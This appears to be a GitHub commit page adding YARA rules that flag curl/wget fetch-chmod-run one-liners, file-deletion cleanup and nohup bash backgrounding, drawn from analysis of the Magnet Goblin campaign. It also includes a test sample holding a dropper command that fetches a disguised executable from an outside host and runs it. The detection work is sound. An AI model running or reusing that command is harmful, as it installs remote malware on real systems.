-
Notifications
You must be signed in to change notification settings - Fork 24
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #47 from tstromberg/main
Improve rules through Magnet Goblin analysis
- Loading branch information
Showing
6 changed files
with
60 additions
and
50 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
rule fetch_chmod_run_oneliner_value : suspicious { | ||
meta: | ||
description = "fetches, chmods, and runs a program" | ||
strings: | ||
$ref = /[a-z](url|get) .{4,64}chmod .{4,64}\.\/[a-z]{1,16}/ | ||
condition: | ||
any of them | ||
} | ||
|
||
rule curl_chmod_relative_run : suspicious { | ||
meta: | ||
description = "fetches file, makes it executable, runs it" | ||
strings: | ||
$chmcurlod = /curl [\-\w \$\@\{\w\/\.\:]{0,96}/ | ||
$chmod = /chmod [\-\w \$\@\{\w\/\.]{0,64}/ | ||
$dot_slah = /\.\/[a-z]{1,2}[a-z\.\/\- ]{0,32}/ fullword | ||
condition: | ||
all of them | ||
} | ||
|
||
rule wget_chmod_relative_run : suspicious { | ||
meta: | ||
description = "fetches file, makes it executable, runs it" | ||
strings: | ||
$chmcurlod = /wget [\-\w \$\@\{\w\/\.\:]{0,96}/ | ||
$chmod = /chmod [\-\w \$\@\{\w\/\.]{0,64}/ | ||
$dot_slah = /\.\/[a-z]{1,2}[a-z\.\/\- ]{0,32}/ fullword | ||
condition: | ||
all of them | ||
} | ||
|
||
rule dev_null_rm : notable { | ||
strings: | ||
$dev_null_rm = /[ \w\.\/\&\-%]{0,32}\/dev\/null\;rm[ \w\/\&\.\-\%]{0,32}/ | ||
condition: | ||
any of them | ||
} | ||
|
||
rule sleep_rm : notable { | ||
strings: | ||
$dev_null_rm = /sleep;rm[ \w\/\&\.\-\%]{0,32}/ | ||
condition: | ||
any of them | ||
} | ||
|
||
|
||
rule nohup_bash_background : suspicious { | ||
strings: | ||
$ref = /nohup bash [\%\w\/\>]{0,64} &/ | ||
condition: | ||
any of them | ||
} | ||
|
||
|
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
cd pub; cd media; curl https://theroots.in/pub/media/avatar/223sam.jpg -o cli &&chmod +xcli&&./cli; |